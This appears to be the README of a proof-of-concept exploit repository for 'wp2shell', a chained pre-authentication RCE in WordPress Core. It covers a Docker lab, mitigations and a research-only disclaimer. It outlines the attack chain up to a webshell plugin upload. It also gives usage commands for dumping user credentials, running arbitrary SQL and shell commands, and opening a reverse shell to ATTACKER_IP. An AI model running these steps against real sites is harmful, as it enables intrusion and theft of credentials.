WordPress 预认证 RCE 漏洞利用(CVE-2026-63030 + CVE-2026-60137),将路由混淆与 SQL 注入链式组合,实现完整 shell 访问权限。附带 Docker 实验环境,便于安全测试。
WordPress Core 预认证 RCE — 路由混淆 + SQL 注入链式利用实现远程代码执行
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| 漏洞类型 | REST API 路由混淆 → SQL 注入 → RCE |
| 严重程度 | 严重 — CVSS 10.0 |
| 受影响版本 | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| 修复版本 | WordPress 6.8.6, 6.9.5, 7.0.2 |
| 认证要求 | 无需认证(预认证) |
wp2shell 是 WordPress Core 中两个漏洞组合利用链的名称:
/wp-json/batch/v1)在数组 $matches[] 和 $validation[] 之间发生索引错位,导致下一个子请求在错误的 handler 下执行 → 绕过 REST API schema 校验。WP_Query::get_posts() 在 author__not_in 参数接收 string 而非 array 时未进行清理 → 原始 SQL 注入。这两个 bug 结合形成了完整的 预认证 RCE 链 — 仅通过 HTTP 请求即可从 0 个凭据获得服务器上的 shell。
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
完整的深入技术分析请参阅 REPORT.md
该实验环境使用 Docker Compose 运行 3 个容器:
| 容器 | 镜像 | 端口 |
|---|---|---|
| WordPress(存在漏洞) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | 内部 |
| phpMyAdmin | phpmyadmin:latest | 8081 |
setup.sh)cd wp2shell-lab
bash setup.sh
脚本会自动:
完成后将显示 "WP2Shell Lab — READY!" 以及登录信息。
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
PoC 脚本为从头重写,参考自 Icex0/wp2shell-poc。 仅使用 Python 3 标准库实现,无需安装额外依赖。
| 条件 | 要求 |
|---|---|
| WordPress 版本 | 6.9.0–6.9.4 或 7.0.0–7.0.1 |
| REST API 批量端点 | 可访问(默认启用) |
| 认证 | 无需认证 |
| 网络 | 攻击者可访问 WordPress |
functions.php 中添加 add_filter('rest_batch_disabled', '__return_true');。/wp-json/batch/v1 的请求。本仓库仅用于研究、学习及 CTF 目的,请于受控的实验环境中使用。 请勿用于攻击真实系统。任何未经授权的利用行为均属违法。